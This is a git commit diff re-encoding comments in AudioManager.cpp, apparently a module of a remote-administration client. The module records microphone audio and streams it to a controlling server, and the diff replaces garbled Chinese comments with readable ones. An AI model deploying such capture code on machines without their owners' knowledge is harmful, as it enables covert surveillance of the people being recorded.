style: Change files encoding format to UTF8-BOM

This commit is contained in:
yuanyuanxiang
2026-01-02 20:00:18 +01:00
parent ba9be08411
commit b6af9ce615
356 changed files with 2819 additions and 2819 deletions

View File

@@ -1,4 +1,4 @@
// AudioManager.cpp: implementation of the CAudioManager class.
// AudioManager.cpp: implementation of the CAudioManager class.
//
//////////////////////////////////////////////////////////////////////
@@ -29,7 +29,7 @@ CAudioManager::CAudioManager(IOCPClient* ClientObject, int n, void* user):CManag
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
m_ClientObject->Send2Server((char*)&bToken, 1, &mask);
WaitForDialogOpen(); //<EFBFBD>ȴ<EFBFBD><EFBFBD>Ի<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
WaitForDialogOpen(); //等待对话框打开
szPacket = NULL;
m_hWorkThread = __CreateThread(NULL, 0, WorkThread, (LPVOID)this, 0, NULL);
@@ -51,7 +51,7 @@ VOID CAudioManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
}
}
DWORD CAudioManager::WorkThread(LPVOID lParam) //<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
DWORD CAudioManager::WorkThread(LPVOID lParam) //发送声音到服务端
{
CAudioManager *This = (CAudioManager *)lParam;
while (This->m_bIsWorking && !This->g_bExit) {
@@ -68,18 +68,18 @@ BOOL CAudioManager::SendRecordBuffer()
{
DWORD dwBufferSize = 0;
BOOL dwReturn = 0;
//<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD> <20><>Ƶ<EFBFBD><C6B5><EFBFBD><EFBFBD>
//这里得到 音频数据
LPBYTE szBuffer = m_AudioObject->GetRecordBuffer(&dwBufferSize);
if (szBuffer == NULL)
return 0;
//<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
//分配缓冲区
szPacket = szPacket ? szPacket : new BYTE[dwBufferSize + 1];
//<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
szPacket[0] = TOKEN_AUDIO_DATA; //<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ض˷<EFBFBD><EFBFBD>͸<EFBFBD><EFBFBD><EFBFBD>Ϣ
//<EFBFBD><EFBFBD><EFBFBD>ƻ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
//加入数据头
szPacket[0] = TOKEN_AUDIO_DATA; //向主控端发送该消息
//复制缓冲区
memcpy(szPacket + 1, szBuffer, dwBufferSize);
szPacket[dwBufferSize] = 0;
//<EFBFBD><EFBFBD><EFBFBD>ͳ<EFBFBD>ȥ
//发送出去
if (dwBufferSize > 0) {
dwReturn = m_ClientObject->Send2Server((char*)szPacket, dwBufferSize + 1);
}
@@ -88,9 +88,9 @@ BOOL CAudioManager::SendRecordBuffer()
CAudioManager::~CAudioManager()
{
m_bIsWorking = FALSE; //<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>״̬Ϊ<EFBFBD><EFBFBD>
m_bIsWorking = FALSE; //设定工作状态为假
if (m_hWorkThread)
WaitForSingleObject(m_hWorkThread, INFINITE); //<EFBFBD>ȴ<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>߳̽<DFB3><CCBD><EFBFBD>
WaitForSingleObject(m_hWorkThread, INFINITE); //等待 工作线程结束
if (m_hWorkThread)
SAFE_CLOSE_HANDLE(m_hWorkThread);
@@ -108,16 +108,16 @@ CAudioManager::~CAudioManager()
//USB
BOOL CAudioManager::Initialize()
{
if (!waveInGetNumDevs()) //<EFBFBD><EFBFBD>ȡ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ ʵ<>ʾ<EFBFBD><CABE>ǿ<EFBFBD><C7BF><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if (!waveInGetNumDevs()) //获取波形输入设备的数目 实际就是看看有没有声卡
return FALSE;
// SYS SYS P
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>.. <20><>ֹ<EFBFBD>ظ<EFBFBD>ʹ<EFBFBD><CAB9>
// 正在使用中.. 防止重复使用
if (m_bIsWorking==TRUE) {
return FALSE;
}
m_AudioObject = new CAudio; //<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
m_AudioObject = new CAudio; //功能类
m_bIsWorking = TRUE;
return TRUE;